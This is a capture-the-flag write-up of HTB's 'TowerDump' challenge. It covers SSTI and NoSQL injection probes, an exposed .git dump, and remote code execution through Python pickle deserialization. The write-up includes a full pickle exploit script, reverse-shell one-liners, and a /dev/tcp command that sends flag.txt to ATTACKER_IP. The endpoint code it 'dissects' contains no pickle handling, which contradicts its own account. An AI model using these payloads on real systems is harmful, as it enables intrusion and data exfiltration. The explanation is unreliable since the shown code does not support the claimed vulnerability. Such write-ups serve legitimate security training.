Pwned in the Cloud: My Journey Through HTB's TowerDump – From .git Exposure to RCE!

Hey fellow hackers and CTF enthusiasts! I recently battled my way through the "TowerDump" challenge in the HTB Cloud Challenge for the Global Cyber Skills Benchmark CTF 2025 - Operation Blackout, and it was quite the ride. This challenge involved a FastAPI power monitoring dashboard and took me from initial web prodding through some tantalizing but ultimately dead-end vulnerabilities, to a classic .git exposure that blew the doors wide open for Remote Code Execution (RCE) via Python pickle deserialization. Let's dive into how it all went down!

Target: TARGET_IP (A power monitoring dashboard)


Phase 1: Initial Scans and Whispers of Vulnerabilities

Like any good penetration test or CTF, I started with basic reconnaissance. The application presented a few interesting API endpoints:

  • /api/chart (POST)
  • /api/power-data (GET)

Teasing with SSTI on /api/chart

The /api/chart endpoint, seemingly for generating SVG charts, immediately pinged my Server-Side Template Injection (SSTI) senses. I tried sending some common Jinja2/Tornado-style payloads in the labels field of the JSON body using curl:

Attempt 1: Basic SSTI arithmetic check

$ curl -X POST -H "Content-Type: application/json" \
-d '{"labels": "{{7*7}}"}' \
http://TARGET_IP/api/chart

This resulted in a 500 error with {"detail":""}.

Attempt 2: SSTI for command execution

$ curl -X POST -H "Content-Type: application/json" \
-d '{"labels": "{{lipsum.__globals__[\'os\'].popen(\'id\').read()}}"}' \
http://TARGET_IP/api/chart

This also returned a 500 error. It seemed SSTI was present, but the environment was heavily sandboxed or error messages were suppressed, making direct exfiltration impossible. Interestingly, the app.js file contained a variable CHART_LAMBDA_URL = "YOUR_LAMBDA_URL"; which was declared but unused. This hinted at a serverless backend, possibly AWS Lambda, but the SSTI wasn't giving up any secrets about it.

Associated TTPs (SSTI):

  • MITRE ATT&CK T1190 (Exploit Public-Facing Application): SSTI is a common vulnerability in web applications.

Flirting with NoSQL Injection on /api/power-data

Next, I turned to /api/power-data. GET requests were fine, but POSTs were problematic. Playing with GET parameters quickly revealed a NoSQL injection vulnerability, likely MongoDB, given the _id: {$oid: "..."} in responses.

Example: Checking for $ne operator

$ curl -X GET 'http://TARGET_IP/api/power-data?param[$ne]=blah'

This worked.

Example: Checking for $regex operator

$ curl -X GET 'http://TARGET_IP/api/power-data?param[$regex]=^o'

This also worked.

The exciting part was that $$where (allowing JavaScript execution within the query) was enabled!
Example: Basic $where check

$ curl -X GET "http://TARGET_IP/api/power-data?query={\"json_key_example\":{\"\$where\":\"this.status.system_status[0] == 'o'\"}}"

This confirmed JavaScript execution. I tried to exfiltrate data using more complex JavaScript to search for the flag or the CHART_LAMBDA_URL:

$ curl -X GET "http://TARGET_IP/api/power-data?query={\"json_key_example\":{\"\$where\":\"for (var key in this) { if (this.hasOwnProperty(key)) { if (typeof this[key] === 'string' && (this[key].includes('HTB{') || this[key].includes('lambda'))) return true; } } return false;\"}}"

Unfortunately, this only returned normal-looking documents, no flag. Even a time-based blind approach yielded no discernible delays.

Associated TTPs (NoSQLi):

  • MITRE ATT&CK T1190 (Exploit Public-Facing Application): NoSQL injection is another way to exploit web applications.
  • MITRE ATT&CK T1555.003 (Credentials from Web Browsers - potentially, if data was stored insecurely): Although not directly achieved here, NoSQLi can often lead to credential or sensitive data exposure.

Phase 2: The .git Breakthrough – Source Code Spills the Beans!

After hitting these initial roadblocks, it was time for more thorough enumeration. gobuster came to the rescue:

$ gobuster dir -w /usr/share/wordlists/dirbuster/common.txt -u http://TARGET_IP -x .html,.php,.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://TARGET_IP
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 0] [--> http://TARGET_IP/assets/]
/code                 (Status: 301) [Size: 0] [--> http://TARGET_IP/code/]
===============================================================
Finished
===============================================================

The /code directory was the jackpot! Navigating to http://TARGET_IP/code/ revealed the application's source code, and nestled within it was the classic CTF gift: an exposed .git directory at http://TARGET_IP/code/.git/.

I quickly dumped the repository using git-dumper (or your preferred tool):

# Example using git-dumper
$ git-dumper http://TARGET_IP/code/.git/ ./towerdump_source
$ cd ./towerdump_source
$ git checkout master # or main, or another relevant branch

Analyzing the Python (FastAPI) source code was illuminating. The real vulnerability was hiding in plain sight within the /api/chart endpoint—the same one I'd probed for SSTI! The code revealed that if a JSON payload contained "pickled": true, the corresponding "data" field would be Base64 decoded and then deserialized using pickle.loads(). This was the path to RCE!

Associated TTPs (.git Exposure):

  • MITRE ATT&CK T1552.006 (Unsecured Credentials: Exposed Source Code Repository): While not directly credentials, exposed source code often leads to vulnerability discovery.
  • MITRE ATT&CK T1595.002 (Active Scanning: Vulnerability Scanning): Discovering exposed directories like .git often falls under active scanning.

Phase 3: Understanding the Python Pickle Deserialization Menace 🐍

Python's pickle module is used for serializing and de-serializing Python object structures. Deserializing (unpickling) data from an untrusted source is extremely dangerous because it can lead to arbitrary code execution.

The Danger Zone: __reduce__
The pickle format can be crafted to make the unpickling process execute arbitrary commands. This is often done by defining a class with a __reduce__ magic method. When an instance of this class is unpickled, the __reduce__ method is called, allowing an attacker to specify a function (like os.system) and its arguments to be executed.

As the official Python documentation warns:

Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.
(Source: Python Pickle Documentation)

Associated Vulnerability Information:

  • CWE-502: Deserialization of Untrusted Data: This is the direct CWE classification for this type of vulnerability.
  • While there isn't a single CVE for "pickle vulnerability" (as it's a feature used insecurely), many CVEs exist for specific applications that fail to safely handle pickled data.

Serverless Implications
The earlier hint of CHART_LAMBDA_URL suggested a serverless architecture. Exploiting pickle deserialization here could still be potent:

  1. Warm Instances & Shared Fate: Cloud providers often keep serverless function instances "warm." A compromised instance could process subsequent requests, potentially intercepting data from multiple users. Unit42 by Palo Alto Networks has researched how attackers can gain persistence on Lambda instances.
  2. Environment Access: Executed code gets access to environment variables (API keys!) and the function's IAM permissions.
  3. ML Model Mayhem: If pickled ML models are used (a common practice), attackers could modify models in memory to cause biased outputs, steal data, or create backdoors, as detailed by Trail of Bits in their "Sleepy Pickle" research. AWS also highlights these risks in AI/ML.

Phase 4: Crafting the Malicious Pickle 🫙

I created a Python script to generate the malicious pickle payload. The goal was to make the server execute cat flag.txt and send its contents to my listener.

import pickle
import base64
import os

class RCE:
def __reduce__(self):
# Command to read flag.txt and send its content to a listener
listener_ip = "ATTACKER_IP" # Your attacker IP
listener_port = 4444        # Your chosen listener port
cmd = f"cat flag.txt > /dev/tcp/{listener_ip}/{listener_port}"
return os.system, (cmd,)

if __name__ == "__main__":
# 1. Create an instance of the malicious RCE class
malicious_object = RCE()
# 2. Serialize the object using pickle
pickled_payload = pickle.dumps(malicious_object)
# 3. Base64 encode the pickled payload (common for JSON transport)
encoded_payload = base64.b64encode(pickled_payload).decode()
# 4. Construct the final JSON payload
# This assumes the vulnerable endpoint expects a JSON body like this.
final_json_payload = {
"pickled": True,  # A flag to tell the server to unpickle the data
"data": encoded_payload
# Other fields 'labels', etc., might not be needed or might need benign values
}
print("Generated JSON Payload:")
print(final_json_payload) # Save to payload.json or copy to clipboard
# import json
# with open("payload.json", "w") as f:
#   json.dump(final_json_payload, f)

The generated payload.json (which you'd save or pipe to curl) would look something like this (with your specific encoded data and listener details):

{
"pickled": true,
"data": "gASVRgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCtjYXQgZmxhZy50eHQgPiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0lIWUUpQu"
}

Phase 5: Execution, Unstable Shells, and Flag Exfiltration 🚩

  1. Set up a Listener: On my attacking machine:
$ nc -lvnp 4444
  1. Initial Reverse Shell Attempt (Unstable):
    I first tried to get a more interactive shell. I modified the cmd in my RCE class to:
# In RCE class __reduce__ method:
# listener_ip = "ATTACKER_IP"
# listener_port = 4444
# cmd = f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1"
# Or for Python reverse shell:
# cmd = f"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_ip}\",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Then, after regenerating payload.json with this new command, I sent it to the /api/chart endpoint:

$ curl -X POST -H "Content-Type: application/json" -d @payload.json http://TARGET_IP/api/chart

Alternatively, if the payload is small and you want to paste it directly (ensure proper shell escaping for the JSON string if it contains special characters):

$ curl -X POST -H "Content-Type: application/json" \
-d '{"pickled": true, "data": "YOUR_BASE64_ENCODED_REVERSE_SHELL_PAYLOAD_FOR_ATTACKER_IP"}' \
http://TARGET_IP/api/chart

Success! A shell connected back. However, it was extremely unstable, dying after only about 2 seconds.

  1. Quick Reconnaissance & Targeted Exfiltration:
    In that brief 2-second window, I frantically typed commands. The key was to quickly identify the flag file:
# In the unstable reverse shell
$ ls -la

And saw flag.txt in the current directory.
Knowing the shell's instability, I immediately switched back to the direct exfiltration payload in exploit.py (as shown in Phase 4, ensuring listener_ip is "ATTACKER_IP"):

# In RCE class __reduce__ method:
# listener_ip = "ATTACKER_IP"
# listener_port = 4444
# cmd = f"cat flag.txt > /dev/tcp/{listener_ip}/{listener_port}"

I regenerated this specific payload.json (containing the cat flag.txt ... command for ATTACKER_IP) and sent it again using the same curl command as before (preferably using -d @payload.json for clarity):

$ curl -X POST -H "Content-Type: application/json" -d @payload.json http://TARGET_IP/api/chart
  1. Receive the Flag:
    This time, the contents of flag.txt streamed beautifully into my netcat listener! Challenge pwned
root@ubuntu-s-1vcpu-512mb-10gb-syd1-01 ~# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on TARGET_IP PORT HTB{L4mbd4_C0d3_1nj3ct10n_1s_Sp00ky}

(Note: The "Connection received on..." IP would be the public IP of the target server making the outbound connection).

  1. The Flag
    HTB{L4mbd4_C0d3_1nj3ct10n_1s_Sp00ky}

Associated TTPs (Exploitation & Exfiltration):

  • MITRE ATT&CK T1059.006 (Command and Scripting Interpreter: Python): The pickle exploit executes Python code which then calls os.system.
  • MITRE ATT&CK T1059.004 (Command and Scripting Interpreter: Unix Shell): For commands like cat and bash -i.
  • MITRE ATT&CK T1071.001 (Application Layer Protocol: Web Protocols): Using HTTP to deliver the exploit.
  • MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol): Using raw TCP via /dev/tcp for exfiltration.

The Vulnerable Endpoint: /api/chart Dissected

The FastAPI source code for /api/chart

@app.post("/api/chart")
async def proxy_chart_request(data: dict):
try:
# 1. Retrieve the Lambda URL from an environment variable
# 'CHART_LAMBDA_URL' is the name of the environment variable.
# If the variable is not found, it defaults to an empty string ''.
lambda_url = os.getenv('CHART_LAMBDA_URL', '')

# 2. Make a POST request to the retrieved Lambda URL
# The 'requests.post()' method is used here, suggesting the 'requests' library.
# However, 'requests' is typically a synchronous library. For an 'async def' function,
# an asynchronous HTTP client like 'httpx' would normally be used (e.g., client.post()).
# If 'requests' is indeed used here in an async function without proper handling
# (like 'await asyncio.to_thread(requests.post, ...)' or 'await loop.run_in_executor'),
# it would block the event loop.
# Assuming this is a conceptual representation or a synchronous snippet within an async framework.
response = requests.post(
lambda_url,  # The URL to send the POST request to
headers={"Content-Type": "application/json"},  # Sets the content type of the request body to JSON
json=data  # The dictionary 'data' is automatically serialized to a JSON string and sent as the request body.
# 'data' is the input to the 'proxy_chart_request' function.
)

# 3. Check if the response status code from the Lambda function is not successful (200 OK)
if response.status_code != 200:
# If the status code is not 200, raise an HTTPException.
# This is a common practice in FastAPI to return standardized HTTP error responses.
# The status code from the Lambda's response is used for the new HTTPException.
# A custom detail message is provided.
raise HTTPException(status_code=response.status_code, detail="Lambda function error")

# 4. Return a Response object if the Lambda call was successful
# The content of the response is the text received from the Lambda function.
# The media type is set to 'image/svg+xml', indicating that the expected successful response
# from the Lambda function is an SVG image.
return Response(content=response.text, media_type="image/svg+xml")

except Exception as e:
# 5. Handle any other exceptions that might occur during the try block
# This is a general exception handler.
# It catches any exception 'e' (e.g., network issues if the Lambda URL is unreachable,
# errors during the 'requests.post' call, or other unexpected errors).
# It then raises an HTTPException with a 500 Internal Server Error status code.
# The detail message includes the string representation of the caught exception 'e'.
raise HTTPException(status_code=500, detail=str(e))

Dissection and Key Points:

  1. @app.post("/api/chart"):
  • This is a decorator indicating that the following function proxy_chart_request will handle HTTP POST requests to the /api/chart endpoint. This syntax is characteristic of FastAPI.
  1. async def proxy_chart_request(data: dict)::
  • Defines an asynchronous function. In FastAPI, this allows for non-blocking operations, which is good for I/O-bound tasks like making external HTTP requests.
  • data: dict indicates that the function expects a request body that can be parsed into a Python dictionary. FastAPI handles this deserialization automatically.
  1. lambda_url = os.getenv('CHART_LAMBDA_URL', ''):
  • Fetches the URL of a Lambda function from an environment variable named CHART_LAMBDA_URL.
  • Using environment variables is a good practice for configuration, as it allows for different URLs in different environments (dev, staging, prod) without changing the code.
  • The '' provides a default empty string if the environment variable isn't set, which would likely cause the requests.post to fail.
  1. response = requests.post(...):
  • This line makes an HTTP POST request to the lambda_url.
  • headers={"Content-Type": "application/json"}: Tells the receiving Lambda function that the body of the request is JSON.
  • json=data: The requests library conveniently takes the data dictionary, serializes it into a JSON string, and sends it as the request body.
  • Important Note on async and requests: The requests library is synchronous. Using it directly within an async def function in this manner will block the asyncio event loop, negating the benefits of async. For truly asynchronous requests, an async HTTP client like httpx should be used with await, e.g., response = await client.post(...). If this code is functional as-is in an async context without blocking issues, it might be running in a worker thread implicitly by some ASGI servers for synchronous route handlers, or it's a simplification.
  1. if response.status_code != 200::
  • Checks if the HTTP response status code from the Lambda function is not 200 (OK).
  • raise HTTPException(...): If there's an error (non-200 status), it raises an HTTPException. FastAPI catches this and sends an appropriate HTTP error response to the original client. The status code of this error response mirrors the one received from Lambda.
  1. return Response(content=response.text, media_type="image/svg+xml"):
  • If the Lambda call is successful (status code 200), this line constructs and returns a FastAPI Response.
  • content=response.text: The body of this response is the text content received from the Lambda (presumably SVG data).
  • media_type="image/svg+xml": Sets the Content-Type header of the response to the client, indicating it's an SVG image.
  1. except Exception as e::
  • A broad exception handler. If any error occurs within the try block (e.g., requests.post fails due to a network error, os.getenv issues if not handled well, etc.), this block will catch it.
  • raise HTTPException(status_code=500, detail=str(e)): It converts the caught exception e into a string and returns it as the detail of a 500 Internal Server Error to the original client. This helps in debugging but might also leak internal error details if not managed carefully in production.

Conclusion and Key Takeaways

The TowerDump challenge was a fantastic example of how a seemingly minor misconfiguration (exposed .git directory) can lead to a full system compromise by revealing critical vulnerabilities like insecure deserialization.

  • 🕵️ Endpoints Can Be Deceptive: /api/chart initially pointed towards SSTI, but source code review revealed its more dangerous pickle deserialization capability.
  • 🔑 .git is Gold: Always thoroughly enumerate for exposed source code repositories. They are invaluable for understanding an application's true behavior.
  • ☢️ Pickle is Dangerous: Never deserialize untrusted data with pickle. Use safer alternatives like JSON for data interchange or safetensors for ML models. Developers must understand the risks.
  • ☁️ Serverless Isn't a Silver Bullet: Application-level vulnerabilities like insecure deserialization remain highly exploitable in serverless environments and can have significant impact.
  • 🏃 Adapt to Unstable Shells: Be prepared for shells that die quickly. Prioritize quick reconnaissance and then switch to targeted data exfiltration payloads.

This CTF was a great reminder of the importance of secure coding practices, thorough reconnaissance, and the severe impact of insecure deserialization vulnerabilities. Hope this write-up was insightful!


References